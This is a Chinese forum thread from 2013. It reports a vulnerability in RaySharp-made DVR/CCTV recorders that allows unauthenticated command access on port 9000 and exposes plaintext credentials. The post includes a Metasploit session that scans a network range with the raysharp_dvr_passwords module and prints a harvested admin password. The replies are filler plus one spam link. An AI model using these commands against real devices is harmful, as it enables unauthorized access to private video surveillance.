DVR漏洞使黑客轻松控制CCTV摄像机（MSF已更新模块）

admin · 发表于 2013-1-31 11:43:34

安全研究人员称，CCTV众多视频录制设备正面临被黑风险，黑客可以监控、复制和删除视频流。

安全人员补充到，除非系统安装了合适的固件，否则DVR平台固件都能成为攻击者向这些网络视频设备进行攻击的切入点。这些易受攻击的CCTV设备是总部位于广东的RaySharp公司生产的。

攻击上周首先被发现，黑客可以通过DVR 9000端口发送命令而无须任何认证，这样黑客就可直接进入到DVR的web控制面板。更悲催的是DVR通常支持UPnP（通用即插即用，可以通过网络驱动设备），网上就能实施控制。此外，RaySharp DVR还以明文形式存储用户名和密码。

事实上，受影响的厂商还包括：Swann, Lorex, URMET, KGuard, Defender, DEAPA/DSP Cop, SVAT, Zmodo, BCS, Bolide, EyeForce, Atlantis, Protectron, Greatek, Soyo, Hi-View, Cosmos, and J2000等等。扫描显示，全世界150多个国家超过58000视频设备可被攻击。

metasploit下已有了相关模块

$ sudo -s -E# msfconsolemsf> use auxiliary/scanner/misc/raysharp_dvr_passwordsmsf auxiliary(raysharp_dvr_passwords) > set RHOSTS 192.168.0.0/24msf auxiliary(raysharp_dvr_passwords) > set THREADS 256msf auxiliary(raysharp_dvr_passwords) > run[+] 192.168.0.153:9000 (user='admin' pass='1234546') mac=00-23-63-63-63-63 version=V2.1-20110716

附：

RaySharp安联锐视，是全球领先的数字视频监控解决方案提供商，以珠海为总部，营销网络覆盖全球近百个国家和地区。安联锐视在中国先后为北京天安门广场、2008年北京奥运会场馆、深圳国际会展中心、中山市政府和澳门大学横琴校区等数百万企事业单位、商业机构、公共事业、政府机关和家庭社区提供数字监控服务。

江海寄余生 · 发表于 2013-2-5 13:52:06

推荐个好站，天泽在线http://www.ak69v.com，升官发财

秋风冷雨私丝弦 · 发表于 2013-2-10 19:55:37

HOHO~~~~~~

颜晨熙 · 发表于 2013-2-12 15:32:01

照你这么说真的有道理哦呵呵不进沙子馁~~~

pcxbo · 发表于 2013-2-14 00:19:02

提示: 作者被禁止或删除内容自动屏蔽

啦啦啦 · 发表于 2013-2-14 19:48:30

我回不回呢考虑再三还是不回了吧 ^_^

蔡万里 · 发表于 2014-10-15 09:06:52

赚点分不容易啊

就家家户户 · 发表于 2014-12-26 14:05:07

昨晚多几分钟的准备，今天少几小时的麻烦。

浅仓 · 发表于 2015-1-26 18:59:16

天啊.

渣渣 · 发表于 2015-2-28 20:22:28

真是有你的！

pcxbo pcxbo 当前离线积分 164 窥视卡雷达卡	发表于 2013-2-14 00:19:02 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
pcxbo pcxbo 当前离线积分 164 窥视卡雷达卡
	回复支持反对使用道具举报显身卡